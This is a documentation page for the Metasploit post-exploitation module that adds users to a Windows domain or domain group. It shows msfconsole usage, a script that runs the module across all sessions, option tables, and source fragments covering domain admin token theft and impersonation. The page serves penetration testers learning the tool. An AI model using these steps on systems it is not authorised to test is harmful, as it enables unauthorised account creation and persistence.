Windows Manage Add User to the Domain and/or to a Domain Group - Metasploit


This page contains detailed information about how to use the post/windows/manage/add_user metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Manage Add User to the Domain and/or to a Domain Group
Module: post/windows/manage/add_user
Source code: modules/post/windows/manage/add_user.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module adds a user to the Domain and/or to a Domain group. It will check if sufficient privileges are present for certain actions and run getprivs for system. If you elevated privs to system, the SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to a process that is running as system. If you don't have privs, this script exits.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/add_user

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/add_user
msf post(add_user) > show options
    ... show and set options ...
msf post(add_user) > set SESSION session-id
msf post(add_user) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/add_user")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

  • USERNAME: The username of the user to add (not-qualified, e.g. BOB)

Go back to menu.

Msfconsole Usage


Here is how the windows/manage/add_user post exploitation module looks in the msfconsole:

msf6 > use post/windows/manage/add_user

msf6 post(windows/manage/add_user) > show info

       Name: Windows Manage Add User to the Domain and/or to a Domain Group
     Module: post/windows/manage/add_user
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Joshua Abraham <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  ADDTODOMAIN  true             yes       Add to Domain if true, otherwise add locally
  ADDTOGROUP   false            yes       Add group if it does not exist
  GROUP                         no        Add user into group, creating it if necessary
  PASSWORD                      no        Password of the user
  SESSION                       yes       The session to run this module on.
  TOKEN                         no        Username or PID of the token which will be used (if blank, Domain Admin tokens will be enumerated)
  USERNAME                      yes       The username of the user to add (not-qualified, e.g. BOB)

Description:
  This module adds a user to the Domain and/or to a Domain group. It 
  will check if sufficient privileges are present for certain actions 
  and run getprivs for system. If you elevated privs to system, the 
  SeAssignPrimaryTokenPrivilege will not be assigned. You need to 
  migrate to a process that is running as system. If you don't have 
  privs, this script exits.

Module Options


This is a complete list of options available in the windows/manage/add_user post exploitation module:

msf6 post(windows/manage/add_user) > show options

Module options (post/windows/manage/add_user):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   ADDTODOMAIN  true             yes       Add to Domain if true, otherwise add locally
   ADDTOGROUP   false            yes       Add group if it does not exist
   GROUP                         no        Add user into group, creating it if necessary
   PASSWORD                      no        Password of the user
   SESSION                       yes       The session to run this module on.
   TOKEN                         no        Username or PID of the token which will be used (if blank, Domain Admin tokens will be enumerated)
   USERNAME                      yes       The username of the user to add (not-qualified, e.g. BOB)

Advanced Options


Here is a complete list of advanced options supported by the windows/manage/add_user post exploitation module:

msf6 post(windows/manage/add_user) > show advanced

Module advanced options (post/windows/manage/add_user):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/manage/add_user module can do:

msf6 post(windows/manage/add_user) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/manage/add_user post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/manage/add_user) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

ERROR_ACCESS_DENIED


Here is a relevant code snippet related to the "ERROR_ACCESS_DENIED" error message:

52:	    )
53:	  end
54:	
55:	  def check_result(user_result)
56:	    case user_result['return']
57:	    when client.railgun.const('ERROR_ACCESS_DENIED')
58:	      print_error 'Sorry, you do not have permission to add that user.'
59:	    when client.railgun.const('NERR_UserExists')
60:	      print_status 'User already exists.'
61:	    when client.railgun.const('NERR_GroupExists')
62:	      print_status 'Group already exists.'

Sorry, you do not have permission to add that user.


Here is a relevant code snippet related to the "Sorry, you do not have permission to add that user." error message:

53:	  end
54:	
55:	  def check_result(user_result)
56:	    case user_result['return']
57:	    when client.railgun.const('ERROR_ACCESS_DENIED')
58:	      print_error 'Sorry, you do not have permission to add that user.'
59:	    when client.railgun.const('NERR_UserExists')
60:	      print_status 'User already exists.'
61:	    when client.railgun.const('NERR_GroupExists')
62:	      print_status 'Group already exists.'
63:	    when client.railgun.const('NERR_UserNotFound')

The user name could not be found.


Here is a relevant code snippet related to the "The user name could not be found." error message:

59:	    when client.railgun.const('NERR_UserExists')
60:	      print_status 'User already exists.'
61:	    when client.railgun.const('NERR_GroupExists')
62:	      print_status 'Group already exists.'
63:	    when client.railgun.const('NERR_UserNotFound')
64:	      print_error 'The user name could not be found.'
65:	    when client.railgun.const('NERR_InvalidComputer')
66:	      print_error 'The server you specified was invalid.'
67:	    when client.railgun.const('NERR_NotPrimary')
68:	      print_error 'You must be on the primary domain controller to do that.'
69:	    when client.railgun.const('NERR_GroupNotFound')

The server you specified was invalid.


Here is a relevant code snippet related to the "The server you specified was invalid." error message:

61:	    when client.railgun.const('NERR_GroupExists')
62:	      print_status 'Group already exists.'
63:	    when client.railgun.const('NERR_UserNotFound')
64:	      print_error 'The user name could not be found.'
65:	    when client.railgun.const('NERR_InvalidComputer')
66:	      print_error 'The server you specified was invalid.'
67:	    when client.railgun.const('NERR_NotPrimary')
68:	      print_error 'You must be on the primary domain controller to do that.'
69:	    when client.railgun.const('NERR_GroupNotFound')
70:	      print_error 'The group specified by the groupname parameter does not exist.'
71:	    when client.railgun.const('NERR_PasswordTooShort')

You must be on the primary domain controller to do that.


Here is a relevant code snippet related to the "You must be on the primary domain controller to do that." error message:

63:	    when client.railgun.const('NERR_UserNotFound')
64:	      print_error 'The user name could not be found.'
65:	    when client.railgun.const('NERR_InvalidComputer')
66:	      print_error 'The server you specified was invalid.'
67:	    when client.railgun.const('NERR_NotPrimary')
68:	      print_error 'You must be on the primary domain controller to do that.'
69:	    when client.railgun.const('NERR_GroupNotFound')
70:	      print_error 'The group specified by the groupname parameter does not exist.'
71:	    when client.railgun.const('NERR_PasswordTooShort')
72:	      print_error 'The password does not appear to be valid (too short, too long, too recent, etc.).'
73:	    when client.railgun.const('ERROR_ALIAS_EXISTS')

The group specified by the groupname parameter does not exist.


Here is a relevant code snippet related to the "The group specified by the groupname parameter does not exist." error message:

65:	    when client.railgun.const('NERR_InvalidComputer')
66:	      print_error 'The server you specified was invalid.'
67:	    when client.railgun.const('NERR_NotPrimary')
68:	      print_error 'You must be on the primary domain controller to do that.'
69:	    when client.railgun.const('NERR_GroupNotFound')
70:	      print_error 'The group specified by the groupname parameter does not exist.'
71:	    when client.railgun.const('NERR_PasswordTooShort')
72:	      print_error 'The password does not appear to be valid (too short, too long, too recent, etc.).'
73:	    when client.railgun.const('ERROR_ALIAS_EXISTS')
74:	      print_status 'The local group already exists.'
75:	    when client.railgun.const('NERR_UserInGroup')

The password does not appear to be valid (too short, too long, too recent, etc.).


Here is a relevant code snippet related to the "The password does not appear to be valid (too short, too long, too recent, etc.)." error message:

67:	    when client.railgun.const('NERR_NotPrimary')
68:	      print_error 'You must be on the primary domain controller to do that.'
69:	    when client.railgun.const('NERR_GroupNotFound')
70:	      print_error 'The group specified by the groupname parameter does not exist.'
71:	    when client.railgun.const('NERR_PasswordTooShort')
72:	      print_error 'The password does not appear to be valid (too short, too long, too recent, etc.).'
73:	    when client.railgun.const('ERROR_ALIAS_EXISTS')
74:	      print_status 'The local group already exists.'
75:	    when client.railgun.const('NERR_UserInGroup')
76:	      print_status 'The user already belongs to this group.'
77:	    when client.railgun.const('ERROR_MORE_DATA')

ERROR_ALIAS_EXISTS


Here is a relevant code snippet related to the "ERROR_ALIAS_EXISTS" error message:

68:	      print_error 'You must be on the primary domain controller to do that.'
69:	    when client.railgun.const('NERR_GroupNotFound')
70:	      print_error 'The group specified by the groupname parameter does not exist.'
71:	    when client.railgun.const('NERR_PasswordTooShort')
72:	      print_error 'The password does not appear to be valid (too short, too long, too recent, etc.).'
73:	    when client.railgun.const('ERROR_ALIAS_EXISTS')
74:	      print_status 'The local group already exists.'
75:	    when client.railgun.const('NERR_UserInGroup')
76:	      print_status 'The user already belongs to this group.'
77:	    when client.railgun.const('ERROR_MORE_DATA')
78:	      print_status 'More entries are available. Specify a large enough buffer to receive all entries.'

ERROR_MORE_DATA


Here is a relevant code snippet related to the "ERROR_MORE_DATA" error message:

72:	      print_error 'The password does not appear to be valid (too short, too long, too recent, etc.).'
73:	    when client.railgun.const('ERROR_ALIAS_EXISTS')
74:	      print_status 'The local group already exists.'
75:	    when client.railgun.const('NERR_UserInGroup')
76:	      print_status 'The user already belongs to this group.'
77:	    when client.railgun.const('ERROR_MORE_DATA')
78:	      print_status 'More entries are available. Specify a large enough buffer to receive all entries.'
79:	    when client.railgun.const('ERROR_NO_SUCH_ALIAS')
80:	      print_status 'The specified account name is not a member of the group.'
81:	    when client.railgun.const('ERROR_NO_SUCH_MEMBER')
82:	      print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'

ERROR_NO_SUCH_ALIAS


Here is a relevant code snippet related to the "ERROR_NO_SUCH_ALIAS" error message:

74:	      print_status 'The local group already exists.'
75:	    when client.railgun.const('NERR_UserInGroup')
76:	      print_status 'The user already belongs to this group.'
77:	    when client.railgun.const('ERROR_MORE_DATA')
78:	      print_status 'More entries are available. Specify a large enough buffer to receive all entries.'
79:	    when client.railgun.const('ERROR_NO_SUCH_ALIAS')
80:	      print_status 'The specified account name is not a member of the group.'
81:	    when client.railgun.const('ERROR_NO_SUCH_MEMBER')
82:	      print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'
83:	    when client.railgun.const('ERROR_MEMBER_IN_ALIAS')
84:	      print_status 'One or more of the members specified were already members of the group. No new members were added.'

The specified account name is not a member of the group.


Here is a relevant code snippet related to the "The specified account name is not a member of the group." error message:

75:	    when client.railgun.const('NERR_UserInGroup')
76:	      print_status 'The user already belongs to this group.'
77:	    when client.railgun.const('ERROR_MORE_DATA')
78:	      print_status 'More entries are available. Specify a large enough buffer to receive all entries.'
79:	    when client.railgun.const('ERROR_NO_SUCH_ALIAS')
80:	      print_status 'The specified account name is not a member of the group.'
81:	    when client.railgun.const('ERROR_NO_SUCH_MEMBER')
82:	      print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'
83:	    when client.railgun.const('ERROR_MEMBER_IN_ALIAS')
84:	      print_status 'One or more of the members specified were already members of the group. No new members were added.'
85:	    when client.railgun.const('ERROR_INVALID_MEMBER')

ERROR_NO_SUCH_MEMBER


Here is a relevant code snippet related to the "ERROR_NO_SUCH_MEMBER" error message:

76:	      print_status 'The user already belongs to this group.'
77:	    when client.railgun.const('ERROR_MORE_DATA')
78:	      print_status 'More entries are available. Specify a large enough buffer to receive all entries.'
79:	    when client.railgun.const('ERROR_NO_SUCH_ALIAS')
80:	      print_status 'The specified account name is not a member of the group.'
81:	    when client.railgun.const('ERROR_NO_SUCH_MEMBER')
82:	      print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'
83:	    when client.railgun.const('ERROR_MEMBER_IN_ALIAS')
84:	      print_status 'One or more of the members specified were already members of the group. No new members were added.'
85:	    when client.railgun.const('ERROR_INVALID_MEMBER')
86:	      print_status 'One or more of the members cannot be added because their account type is invalid. No new members were added.'

One or more of the members specified do not exist. Therefore, no new members were added.).


Here is a relevant code snippet related to the "One or more of the members specified do not exist. Therefore, no new members were added.)." error message:

77:	    when client.railgun.const('ERROR_MORE_DATA')
78:	      print_status 'More entries are available. Specify a large enough buffer to receive all entries.'
79:	    when client.railgun.const('ERROR_NO_SUCH_ALIAS')
80:	      print_status 'The specified account name is not a member of the group.'
81:	    when client.railgun.const('ERROR_NO_SUCH_MEMBER')
82:	      print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'
83:	    when client.railgun.const('ERROR_MEMBER_IN_ALIAS')
84:	      print_status 'One or more of the members specified were already members of the group. No new members were added.'
85:	    when client.railgun.const('ERROR_INVALID_MEMBER')
86:	      print_status 'One or more of the members cannot be added because their account type is invalid. No new members were added.'
87:	    when client.railgun.const('RPC_S_SERVER_UNAVAILABLE')

ERROR_MEMBER_IN_ALIAS


Here is a relevant code snippet related to the "ERROR_MEMBER_IN_ALIAS" error message:

78:	      print_status 'More entries are available. Specify a large enough buffer to receive all entries.'
79:	    when client.railgun.const('ERROR_NO_SUCH_ALIAS')
80:	      print_status 'The specified account name is not a member of the group.'
81:	    when client.railgun.const('ERROR_NO_SUCH_MEMBER')
82:	      print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'
83:	    when client.railgun.const('ERROR_MEMBER_IN_ALIAS')
84:	      print_status 'One or more of the members specified were already members of the group. No new members were added.'
85:	    when client.railgun.const('ERROR_INVALID_MEMBER')
86:	      print_status 'One or more of the members cannot be added because their account type is invalid. No new members were added.'
87:	    when client.railgun.const('RPC_S_SERVER_UNAVAILABLE')
88:	      print_status 'The RPC server is unavailable.'

One or more of the members specified were already members of the group. No new members were added.


Here is a relevant code snippet related to the "One or more of the members specified were already members of the group. No new members were added." error message:

79:	    when client.railgun.const('ERROR_NO_SUCH_ALIAS')
80:	      print_status 'The specified account name is not a member of the group.'
81:	    when client.railgun.const('ERROR_NO_SUCH_MEMBER')
82:	      print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'
83:	    when client.railgun.const('ERROR_MEMBER_IN_ALIAS')
84:	      print_status 'One or more of the members specified were already members of the group. No new members were added.'
85:	    when client.railgun.const('ERROR_INVALID_MEMBER')
86:	      print_status 'One or more of the members cannot be added because their account type is invalid. No new members were added.'
87:	    when client.railgun.const('RPC_S_SERVER_UNAVAILABLE')
88:	      print_status 'The RPC server is unavailable.'
89:	    else

ERROR_INVALID_MEMBER


Here is a relevant code snippet related to the "ERROR_INVALID_MEMBER" error message:

80:	      print_status 'The specified account name is not a member of the group.'
81:	    when client.railgun.const('ERROR_NO_SUCH_MEMBER')
82:	      print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'
83:	    when client.railgun.const('ERROR_MEMBER_IN_ALIAS')
84:	      print_status 'One or more of the members specified were already members of the group. No new members were added.'
85:	    when client.railgun.const('ERROR_INVALID_MEMBER')
86:	      print_status 'One or more of the members cannot be added because their account type is invalid. No new members were added.'
87:	    when client.railgun.const('RPC_S_SERVER_UNAVAILABLE')
88:	      print_status 'The RPC server is unavailable.'
89:	    else
90:	      print_error "Unexpectedly returned #{user_result}"

One or more of the members cannot be added because their account type is invalid. No new members were added.


Here is a relevant code snippet related to the "One or more of the members cannot be added because their account type is invalid. No new members were added." error message:

81:	    when client.railgun.const('ERROR_NO_SUCH_MEMBER')
82:	      print_status 'One or more of the members specified do not exist. Therefore, no new members were added.).'
83:	    when client.railgun.const('ERROR_MEMBER_IN_ALIAS')
84:	      print_status 'One or more of the members specified were already members of the group. No new members were added.'
85:	    when client.railgun.const('ERROR_INVALID_MEMBER')
86:	      print_status 'One or more of the members cannot be added because their account type is invalid. No new members were added.'
87:	    when client.railgun.const('RPC_S_SERVER_UNAVAILABLE')
88:	      print_status 'The RPC server is unavailable.'
89:	    else
90:	      print_error "Unexpectedly returned #{user_result}"
91:	    end

Unexpectedly returned <USER_RESULT>


Here is a relevant code snippet related to the "Unexpectedly returned <USER_RESULT>" error message:

85:	    when client.railgun.const('ERROR_INVALID_MEMBER')
86:	      print_status 'One or more of the members cannot be added because their account type is invalid. No new members were added.'
87:	    when client.railgun.const('RPC_S_SERVER_UNAVAILABLE')
88:	      print_status 'The RPC server is unavailable.'
89:	    else
90:	      print_error "Unexpectedly returned #{user_result}"
91:	    end
92:	  end
93:	
94:	  ## steal domain admin token
95:	  ## return code: bool

Failed to load incognito on <SESSION.SID> / <SESSION.SESSION_HOST>


Here is a relevant code snippet related to the "Failed to load incognito on <SESSION.SID> / <SESSION.SESSION_HOST>" error message:

102:	    if !session.incognito
103:	      session.core.use('incognito')
104:	    end
105:	
106:	    if !session.incognito
107:	      print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
108:	      return false
109:	    end
110:	
111:	    ## verify domain_user contains a domain
112:	    if domain_user.index('\\').nil?

Steal Token Failed (running as: <SESSION.SYS.CONFIG.GETUID>)


Here is a relevant code snippet related to the "Steal Token Failed (running as: <SESSION.SYS.CONFIG.GETUID>)" error message:

148:	          domain_user = session.sys.config.getuid
149:	        end
150:	      end
151:	
152:	      if session.sys.config.getuid != domain_user
153:	        print_error "Steal Token Failed (running as: #{session.sys.config.getuid})"
154:	        return false
155:	      end
156:	    else
157:	      print_status('No process tokens found.')
158:	      if (domain_user != '')

No process tokens found.


Here is a relevant code snippet related to the "No process tokens found." error message:

152:	      if session.sys.config.getuid != domain_user
153:	        print_error "Steal Token Failed (running as: #{session.sys.config.getuid})"
154:	        return false
155:	      end
156:	    else
157:	      print_status('No process tokens found.')
158:	      if (domain_user != '')
159:	        vprint_status('Trying impersonate_token technique...')
160:	        session.incognito.incognito_impersonate_token(domain_user)
161:	      else
162:	        return false

Failed to load incognito on <SESSION.SID> / <SESSION.SESSION_HOST>


Here is a relevant code snippet related to the "Failed to load incognito on <SESSION.SID> / <SESSION.SESSION_HOST>" error message:

176:	    if !session.incognito
177:	      session.core.use('incognito')
178:	    end
179:	
180:	    if !session.incognito
181:	      print_error("Failed to load incognito on #{session.sid} / #{session.session_host}")
182:	      return false
183:	    end
184:	
185:	    domain_admins.each do |da_user|
186:	      ## current user

You have not set up a PASSWORD. The default is '<PASSWORD>'


Here is a relevant code snippet related to the "You have not set up a PASSWORD. The default is '<PASSWORD>'" error message:

228:	  end
229:	
230:	  def local_mode
231:	    if datastore['PASSWORD'].nil?
232:	      datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(16) + Rex::Text.rand_text_numeric(2)
233:	      print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")
234:	    end
235:	    #  Add user
236:	    if enum_user.include? datastore['USERNAME']
237:	      print_status("User '#{datastore['USERNAME']}' already exists.")
238:	    else

Check your group name


Here is a relevant code snippet related to the "Check your group name" error message:

252:	          print_good("Group '#{datastore['GROUP']}'  was added.")
253:	        else
254:	          check_result(result)
255:	        end
256:	      else
257:	        print_error('Check your group name')
258:	      end
259:	    end
260:	    #  Add Member to LocalGroup
261:	    if datastore['ADDTOGROUP'] && datastore['GROUP']
262:	      result = add_members_localgroup(datastore['GROUP'], datastore['USERNAME'])

No DC is available for the specified domain or the domain does not exist.


Here is a relevant code snippet related to the "No DC is available for the specified domain or the domain does not exist." error message:

272:	    ## check domain
273:	    server_name = get_domain('DomainControllerName')
274:	    if server_name
275:	      print_good("Found Domain : #{server_name}")
276:	    else
277:	      print_error('No DC is available for the specified domain or the domain does not exist. ')
278:	      return false
279:	    end
280:	    if datastore['PASSWORD'].nil?
281:	      datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(16) + Rex::Text.rand_text_numeric(2)
282:	      print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")

You have not set up a PASSWORD. The default is '<PASSWORD>'


Here is a relevant code snippet related to the "You have not set up a PASSWORD. The default is '<PASSWORD>'" error message:

277:	      print_error('No DC is available for the specified domain or the domain does not exist. ')
278:	      return false
279:	    end
280:	    if datastore['PASSWORD'].nil?
281:	      datastore['PASSWORD'] = Rex::Text.rand_text_alphanumeric(16) + Rex::Text.rand_text_numeric(2)
282:	      print_status("You have not set up a PASSWORD. The default is '#{datastore['PASSWORD']}'")
283:	    end
284:	    ## enum domain
285:	    domain = primary_domain
286:	    if domain.nil?
287:	      return

The <GROUP> group not exist in the domain. It is possible that the same group name exists for the local group.


Here is a relevant code snippet related to the "The <GROUP> group not exist in the domain. It is possible that the same group name exists for the local group." error message:

320:	          print_good("Group '#{datastore['GROUP']}'  was added!")
321:	        else
322:	          check_result(result)
323:	        end
324:	        if (!enum_group(server_name).include? datastore['GROUP'])
325:	          print_error("The #{datastore['GROUP']} group not exist in the domain. It is possible that the same group name exists for the local group.")
326:	        end
327:	      else
328:	        print_error('Check your group name')
329:	      end
330:	    end

Check your group name


Here is a relevant code snippet related to the "Check your group name" error message:

323:	        end
324:	        if (!enum_group(server_name).include? datastore['GROUP'])
325:	          print_error("The #{datastore['GROUP']} group not exist in the domain. It is possible that the same group name exists for the local group.")
326:	        end
327:	      else
328:	        print_error('Check your group name')
329:	      end
330:	    end
331:	
332:	    if datastore['ADDTOGROUP'] && (enum_group(server_name).include? datastore['GROUP'])
333:	      ## check if user is already a member of the group

Error parsing output from the registry. (<DOM_INFO>)


Here is a relevant code snippet related to the "Error parsing output from the registry. (<DOM_INFO>)" error message:

363:	  def primary_domain
364:	    dom_info = get_domain('DomainControllerName')
365:	    if !dom_info.nil? && dom_info =~ /\./
366:	      foo = dom_info.split('.')
367:	      domain = foo[1].upcase
368:	    else
369:	      print_error("Error parsing output from the registry. (#{dom_info})")
370:	    end
371:	    return domain
372:	  end
373:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


Joshua Abraham <jabra[at]rapid7.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.